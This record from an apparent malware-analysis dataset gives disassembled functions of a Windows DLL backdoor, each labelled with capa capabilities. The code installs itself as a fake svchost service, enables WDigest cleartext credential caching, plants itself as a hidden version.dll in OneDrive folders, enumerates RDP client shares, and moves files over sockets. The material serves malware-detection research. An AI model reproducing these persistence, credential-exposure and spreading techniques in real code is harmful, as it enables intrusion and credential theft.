joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180003320
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov edi, edx
mov rbx, rcx
lea rdx, [0x180052a10]
xor ecx, ecx
mov r8d, 0xff
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov r8d, 0xff
lea rdx, [0x180052c30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp edi, 1
jne 0x1800034b2
call fcn.1800043d0
xor ebx, ebx
cmp eax, edi
jne 0x180003443
lea rdx, str.svchost.exe
lea rcx, [0x180052a10]
call fcn.180012ec4
test rax, rax
jne 0x1800034b2
lea rdx, str.svchost.exe
lea rcx, [0x180052a10]
call fcn.180012ec4
test rax, rax
jne 0x180003443
lea rdx, str.Rundll32.exe
lea rcx, [0x180052a10]
call fcn.180012ec4
test rax, rax
jne 0x180003443
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800043d0
test eax, eax
je 0x180003443
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SOFTWAREClassesAppID995DBE6E_D998_4a6c_A911_45719A6F4EA70EFE1A1CBA1B5741
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x180003443
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.1800034d0
cmp eax, edi
jne 0x180003443
call fcn.180009bf0
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x18000e050]
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1800034a2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x180003800]
xor edx, edx
mov dword [rsp + 0x20], 4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1800526f0], rax
jmp 0x1800034a9
mov rax, qword [0x1800526f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180011100
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x180003820
Capabilities:
Enumerate network shares

Disassembly:
push rsi
sub rsp, 0xd0
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor r8d, r8d
mov dword [rsp + 0x30], 0x4000
lea rax, [rsp + 0x38]
mov dword [rsp + 0x40], 0xffffffff
mov r9, rcx
mov qword [rsp + 0x20], rax
lea edx, [r8 + 1]
lea ecx, [rdx + 1]
call qword [sym.imp.MPR.dll_WNetOpenEnumA]
test eax, eax
jne 0x1800039d4
mov edx, dword [rsp + 0x30]
lea ecx, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
test rax, rax
je 0x1800039d4
mov qword [rsp + 0xe8], rbx
mov qword [rsp + 0xf0], rbp
xor ebp, ebp
mov qword [rsp + 0xf8], rdi
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rsi
call fcn.1800388f0
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x30]
mov r8, rsi
lea rdx, [rsp + 0x40]
call qword [sym.imp.MPR.dll_WNetEnumResourceA]
test eax, eax
jne 0x1800039b6
mov ebx, ebp
cmp dword [rsp + 0x40], ebx
jbe 0x1800038b0
nop word [rax + rax]
mov eax, ebx
lea rdi, [rax + rax*2]
shl rdi, 4
add rdi, rsi
mov rcx, rdi
call fcn.180003820
mov rcx, qword [rdi + 0x18]
lea rdx, str._tsclientC
call fcn.18001ba2c
test eax, eax
je 0x180003923
inc ebx
cmp ebx, dword [rsp + 0x40]
jb 0x1800038f0
jmp 0x1800038b0
movups xmm0, xmmword [str._tsclientCUsers]
movzx ecx, byte [0x180045b7a]
xor edx, edx
movzx eax, word [0x180045b78]
mov byte [rsp + 0x62], cl
xor ecx, ecx
movaps xmmword [rsp + 0x50], xmm0
xorps xmm0, xmm0
mov byte [rsp + 0xb3], cl
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x63], xmm0
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x73], xmm0
movups xmmword [rsp + 0x83], xmm0
movups xmmword [rsp + 0x93], xmm0
movups xmmword [rsp + 0xa3], xmm0
call fcn.1800039e0
mov eax, 1
mov rbp, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.180011100
add rsp, 0xd0
pop rsi
ret
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.MPR.dll_WNetCloseEnum]
test eax, eax
sete bpl
mov eax, ebp
jmp 0x180003985
xor eax, eax
jmp 0x18000399d
Function at 0x1800039e0
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rbx, rcx
test edx, edx
je 0x180003a12
cmp edx, 1
lea rdx, str._s.exe
je 0x180003a19
lea rdx, str._s.
mov r8, rbx
lea rcx, [rsp + 0x160]
call fcn.1800029c0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180003b3c
nop dword [rax]
lea rdx, [0x1800459a4]
lea rcx, [rsp + 0x4c]
call fcn.18001ba2c
test eax, eax
je 0x180003b26
lea rdx, [0x1800459bc]
lea rcx, [rsp + 0x4c]
call fcn.18001ba2c
test eax, eax
je 0x180003b26
lea rdx, str.All_Users
lea rcx, [rsp + 0x4c]
call fcn.18001ba2c
test eax, eax
je 0x180003b26
lea rdx, str.Default
lea rcx, [rsp + 0x4c]
call fcn.18001ba2c
test eax, eax
je 0x180003b26
lea rdx, str.Default_User
lea rcx, [rsp + 0x4c]
call fcn.18001ba2c
test eax, eax
je 0x180003b26
lea rdx, str.Public
lea rcx, [rsp + 0x4c]
call fcn.18001ba2c
test eax, eax
je 0x180003b26
test byte [rsp + 0x20], 0x10
je 0x180003b11
lea r9, [rsp + 0x4c]
mov r8, rbx
lea rdx, str._s_sAppDataLocalMicrosoftOneDrive
lea rcx, [rsp + 0x160]
call fcn.1800029c0
mov edx, 1
lea rcx, [rsp + 0x160]
call fcn.1800039e0
jmp 0x180003b26
lea rdx, str.OneDrive.exe
lea rcx, [rsp + 0x4c]
call fcn.18001ba2c
test eax, eax
je 0x180003b5f
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180003a50
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.180011100
mov rbx, qword [rsp + 0x298]
add rsp, 0x280
pop rdi
ret
mov r8, rbx
lea rdx, str._s_version.dll
lea rcx, [rsp + 0x160]
call qword [sym.imp.USER32.dll_wsprintfA]
xor r8d, r8d
lea rdx, [rsp + 0x160]
lea rcx, [0x180052c30]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x180003b3c
mov edx, 6
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, 1
jmp 0x180003b3e
Function at 0x180003bb0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov ebx, edx
mov rsi, rcx
call fcn.180003cd0
mov rdi, rax
test rax, rax
jne 0x180003bf9
lea rdx, [0x180045a28]
mov rcx, rsi
call fcn.18000caf0
xor eax, eax
jmp 0x180003ca6
xor eax, eax
mov ecx, edi
xor esi, esi
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x40], rsi
lea r8, [rsp + 0x58]
mov dword [rsp + 0x70], eax
mov edx, 0x98000004
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea r9d, [rsi + 0xc]
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], reloc.WS2_32.dll_inet_ntoa
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x58], 1
mov dword [rsp + 0x60], 0x1388
mov dword [rsp + 0x5c], 0x7530
call qword [sym.imp.WS2_32.dll_WSAIoctl]
cmp ebx, 1
jne 0x180003c6c
lea r8, [0x180003e90]
jmp 0x180003c78
cmp ebx, 4
jne 0x180003ca1
lea r8, [0x18000cc00]
lea rax, [rsp + 0x50]
mov r9, rdi
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180003ca1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180011100
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180003ff0
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x2050
call fcn.180011970
sub rsp, rax
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x2040], rax
xor r13d, r13d
mov r15, r8
mov r12, rdx
mov r14, rcx
mov rbp, r8
mov esi, r13d
test r8, r8
jle 0x1800040d1
nop word [rax + rax]
mov r8d, 0x2000
mov qword [rsp + 0x20], r13
cmp rbp, r8
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, r12
cmovl r8d, ebp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800040d1
mov ebx, dword [rsp + 0x30]
test ebx, ebx
je 0x1800040d1
lea r8, [rsp + 0x34]
mov dword [rsp + 0x34], r13d
mov edx, 0x8004667e
mov rcx, r14
mov edi, r13d
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test ebx, ebx
jle 0x1800040b6
movsxd rax, edi
lea rdx, [rsp + 0x40]
add rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1800040b6
add edi, eax
sub ebx, eax
test ebx, ebx
jg 0x180004090
mov eax, dword [rsp + 0x30]
cmp edi, eax
jne 0x1800040ff
test edi, edi
je 0x1800040ff
add rsi, rax
sub rbp, rax
cmp rsi, r15
jl 0x180004040
mov rax, rsi
mov rcx, qword [rsp + 0x2040]
xor rcx, rsp
call fcn.180011100
mov rbx, qword [rsp + 0x20a8]
add rsp, 0x2050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xor eax, eax
jmp 0x1800040d4
Function at 0x1800043d0
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
mov word [rsp + 0x6c], 0x500
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x68], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov rdx, qword [rsp + 0x60]
lea r8, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x70], 1
sete bl
mov eax, ebx
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180011100
add rsp, 0x80
pop rbx
ret
Function at 0x1800098b0
Capabilities:
Create thread
Set registry value

Disassembly:
sub rsp, 0x98
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rdx, qword [rdx]
lea rcx, str.iprip
mov r8d, gethostbyname
call fcn.18001d1d0
lea rdx, [0x180009680]
lea rcx, str.iprip
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
mov qword [0x180052d30], rax
test rax, rax
je 0x180009a26
mov qword [rsp + 0x90], rbx
lea rdx, [rsp + 0x40]
xor ebx, ebx
mov dword [rsp + 0x40], reloc.WS2_32.dll_recv
mov rcx, rax
mov dword [rsp + 0x50], ebx
mov dword [0x1800526f8], 2
mov dword [rsp + 0x44], 2
mov qword [rsp + 0x48], 7
mov dword [rsp + 0x54], 1
mov dword [rsp + 0x58], 0x2710
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov rcx, qword [0x180052d30]
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], reloc.WS2_32.dll_recv
mov dword [0x1800526f8], 4
mov dword [rsp + 0x64], 4
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x70], rbx
mov dword [rsp + 0x78], 0x2710
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
lea r8, [rsp + 0x30]
mov dword [rsp + 0x38], 1
lea rdx, str.SYSTEMCurrentControlSetControlSecurityProvidersWDigest
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1800099e3
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.UseLogonCredential
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x18000e050]
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x90]
test rax, rax
je 0x180009a26
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.180011100
add rsp, 0x98
ret
Function at 0x180009a40
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x190
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x48], rsp
mov dword [rsp + 0x68], 7
xor edi, edi
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x30], edi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180009bc5
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x68]
xor r8d, r8d
lea rdx, str.netsvcs
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180009bc5
lea rcx, str.iprip
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [rsp + 0x50]
inc edx
add edx, eax
mov dword [rsp + 0x50], edx
mov ecx, edx
call fcn.180011164
mov rsi, rax
mov qword [rsp + 0x38], rax
mov r8d, dword [rsp + 0x50]
xor edx, edx
mov rcx, rax
call fcn.1800388f0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x68]
xor r8d, r8d
lea rdx, str.netsvcs
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180009bb3
mov rbx, rsi
xor r9d, r9d
lea rdx, str.iprip
mov rcx, rbx
call fcn.180004110
mov rbx, rax
test rax, rax
je 0x180009bb3
lea r8, str.iprip
lea rdx, str.SYSTEMCurrentControlSetServices_s
lea rcx, [rsp + 0x70]
call fcn.1800029c0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rsp + 0x70]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180009baa
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x180009b42
mov edi, 1
mov dword [rsp + 0x30], edi
mov rcx, rsi
call fcn.18001115c
mov eax, edi
jmp 0x180009bc7
xor eax, eax
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.180011100
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x18000ae20
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x18000ae42
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x18000aebc
mov rdi, r14
mov rcx, rbx
call fcn.18000be00
test rax, rax
jle 0x18000ae94
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.180038250
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18000aeac
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + gethostname]
cmp eax, 0xffffffff
je 0x18000aeb4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x18000ae56
sub r14, rdi
jmp 0x18000af9f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x18000aed3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18000aed5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18000af07
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.180038250
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18000af9c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x18000af42
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x18000af7d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.18001e824
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x18000af9c
cmp rbp, rax
ja 0x18000af50
test rbp, rbp
je 0x18000af9c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.18001e824
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x18000c6d0
Capabilities:
Clear file content
Download and write a file
Get file size
Get socket status
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push rsi
push r12
push r13
push r14
push r15
mov eax, 0x2290
call fcn.180011970
sub rsp, rax
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x2270], rax
mov rax, rdx
mov r15, r8
mov r13, rcx
mov r12d, 1
xor r14d, r14d
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov rcx, rax
lea r8d, [r12 + 2]
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18000c891
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18000c891
mov rdx, qword [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18000c891
test r15, r15
jle 0x18000c87a
mov qword [rsp + 0x22d8], rbx
lea r10d, [r13 + 1]
mov qword [rsp + 0x2280], rdi
mov dword [rsp + 0x40], r10d
mov qword [rsp + 0x2288], rbp
nop
mov eax, r15d
mov qword [rsp + 0x68], r13
sub eax, r14d
mov dword [rsp + 0x60], r12d
mov ebx, 0x2000
mov qword [rsp + 0x48], setsockopt
mov rcx, r15
lea rdx, [rsp + 0x60]
sub rcx, r14
cmp rcx, rbx
mov ecx, r10d
cmovl ebx, eax
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x18000c85f
xor r9d, r9d
lea rdx, [rsp + 0x270]
mov r8d, ebx
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbp, eax
test eax, eax
jle 0x18000c85f
mov edi, ebp
mov dword [rsp + 0x44], 0
lea rbx, [rsp + 0x270]
nop dword [rax]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000c84c
mov ecx, dword [rsp + 0x44]
add rbx, rcx
sub edi, ecx
jne 0x18000c820
mov r10d, dword [rsp + 0x40]
add r14, rbp
cmp r14, r15
jl 0x18000c7a0
jmp 0x18000c862
xor r12d, r12d
mov rbp, qword [rsp + 0x2288]
mov rbx, qword [rsp + 0x22d8]
mov rdi, qword [rsp + 0x2280]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r12d
jmp 0x18000c893
xor eax, eax
mov rcx, qword [rsp + 0x2270]
xor rcx, rsp
call fcn.180011100
add rsp, 0x2290
pop r15
pop r14
pop r13
pop r12
pop rsi
ret
Function at 0x18000c8c0
Capabilities:
Resolve dns

Disassembly:
sub rsp, 0x198
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x180], rax
xorps xmm0, xmm0
mov dword [rsp + 0x38], 0x104
xorps xmm1, xmm1
mov dword [rsp + 0x40], 0
lea r9, [rsp + 0x30]
mov dword [rsp + 0x44], 2
lea r8, [rsp + 0x40]
mov dword [rsp + 0x48], 1
xor edx, edx
mov dword [rsp + 0x4c], 6
movdqu xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x18000c974
mov rcx, qword [rsp + 0x30]
cmp dword [rcx + 4], 2
jne 0x18000c974
mov edx, dword [rcx + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rcx + 0x20]
lea r9, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_WSAAddressToStringA]
test eax, eax
jne 0x18000c974
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.180011100
add rsp, 0x198
ret
xor eax, eax
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.180011100
add rsp, 0x198
ret

Function at 0x18000c990
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x48], rax
movzx esi, dx
mov ebx, ecx
mov r14d, 1
mov ebp, 2
mov edx, r14d
mov ecx, ebp
mov r8d, 6
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000ca46
movzx ecx, si
mov word [rsp + 0x38], bp
mov dword [rsp + 0x3c], ebx
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [r14 + 0xf]
mov rcx, rdi
lea rdx, [rsp + 0x38]
mov word [rsp + 0x3a], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x18000ca4a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], r14d
mov edx, 0xffff
mov dword [rsp + 0x20], 4
lea r8d, [r14 + 0x7f]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x18000ca4d
mov rax, rdi
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180011100
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x18000ca70
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov ebx, r8d
mov rbp, rdx
xor edi, edi
lea r8, [rsp + 0x20]
mov edx, 0x8004667e
mov dword [rsp + 0x20], edi
mov rsi, rcx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test ebx, ebx
jle 0x18000cad1
nop
movsxd rdx, edi
xor r9d, r9d
add rdx, rbp
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x18000cad1
add edi, eax
sub ebx, eax
test ebx, ebx
jg 0x18000cab0
mov eax, edi
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180011100
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000caf0
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rsi
mov eax, 0x2058
call fcn.180011970
sub rsp, rax
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rsp + 0x2040], rax
mov rbx, rdx
mov rsi, rcx
cmp rcx, 0xffffffffffffffff
jne 0x18000cb33
xor eax, eax
jmp 0x18000cbe0
mov qword [rsp + 0x2050], rdi
lea rdi, [rsp + 0x2080]
call fcn.180001240
mov qword [rsp + 0x28], rdi
lea rdx, [rsp + 0x40]
xor edi, edi
mov r9, rbx
mov r8d, 0x2000
mov qword [rsp + 0x20], rdi
mov rcx, qword [rax]
call fcn.18001ab70
mov ebx, eax
test rsi, rsi
jne 0x18000cb86
lea rdx, [rsp + 0x40]
lea rcx, [0x180045950]
call fcn.18000c670
xor eax, eax
jmp 0x18000cbd8
mov eax, 0xffffffff
mov dword [rsp + 0x30], edi
test ebx, ebx
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
mov rcx, rsi
cmovs ebx, eax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test ebx, ebx
jle 0x18000cbd6
nop dword [rax + rax]
movsxd rax, edi
lea rdx, [rsp + 0x40]
add rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x18000cbd6
add edi, eax
sub ebx, eax
test ebx, ebx
jg 0x18000cbb0
mov eax, edi
mov rdi, qword [rsp + 0x2050]
mov rcx, qword [rsp + 0x2040]
xor rcx, rsp
call fcn.180011100
add rsp, 0x2058
pop rsi
pop rbx
ret